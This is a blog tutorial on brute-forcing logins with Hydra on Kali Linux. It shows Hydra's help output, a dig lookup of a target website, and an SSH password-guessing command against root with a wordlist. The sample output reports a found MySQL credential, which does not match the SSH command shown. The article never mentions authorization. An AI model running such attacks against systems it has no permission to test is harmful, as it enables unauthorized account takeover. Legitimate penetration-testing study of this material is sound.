Brute force attack with Hydra and Kali Linux

Linux Jun 28, 2021

Hydra is a fast and flexible login cracker that can be used on both Linux and Windows and supports protocols like AFP, HTTP-FORM-GET, HTTP-GET, HTTP-FORM-POST, HTTP-HEAD, HTTP-PROXY, and many more.

Hydra is installed by default on Kali Linux. There are both command line and graphical versions of Hydra, but real developers use the command line, right?! ;-)

To familiarize yourself with Hydra’s syntax open your terminal and execute the command:

hydra -h

Immediately, the hydra helper will be prompted on the screen showing the possible flags, so take a moment to read the descriptions.

root@kali:~# hydra -h
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)
Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes. This tool is licensed under AGPL v3.0.
The newest version is always available at
These services were not compiled in: sapr3 oracle.
Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.:  % export HYDRA_PROXY=socks5:// (or socks4:// or connect://)
       % export HYDRA_PROXY_HTTP=http://proxy:8080
       % export HYDRA_PROXY_AUTH=user:pass
  hydra -l user -P passlist.txt
  hydra -L userlist.txt -p defaultpw imap://
hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5

As you can see Hydra can use both single and list of usernames/passwords for cracking using brute forcing method. Luckily for us Kali contains many tools which different sets of default passwords dictionary (e.x. John the Ripper).

Before starting the attack, find the target IP by executing the command

dig <TAGRET>

There are many ways to find the IP related to a website: in this case we used dig, A DNS lookup utility which sole purpose is to display the answers returned by the nameserver of the queried target in the Answer Section.

; <<>> DiG 9.11.3-1ubuntu1.5-Ubuntu <<>>
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2224
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
; EDNS: version: 0, flags:; udp: 65494
;            IN  A
;; ANSWER SECTION:        198 IN  A
;; Query time: 67 msec
;; WHEN: Wed Apr 03 17:57:12 IST 2019
;; MSG SIZE  rcvd: 57

Now it’s time to start the attack by executing the command

hydra -l root -P /usr/share/john/password.lst -t 6 ssh

In this example I’m attacking the machine specified by the IP using the following options:

  • -l flag takes a single value and specifies the user
  • -P flag takes a path to a file that contains a list of password
  • -t specifies the number of threads used during the attack

Now just wait until the attack is over and if you will be lucky you will have your username and password.

Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra ( starting at 2019-11-13 07:53:33
[DATA] 6 tasks, 1 server, 1003 login tries (l:1/p:1003), ~167 tries per task
[3306][mysql] host: login: <USERNAME>   password: <PASSWORD>
[STATUS] attack finished for localhost (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2019-11-13 19:45:02



Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.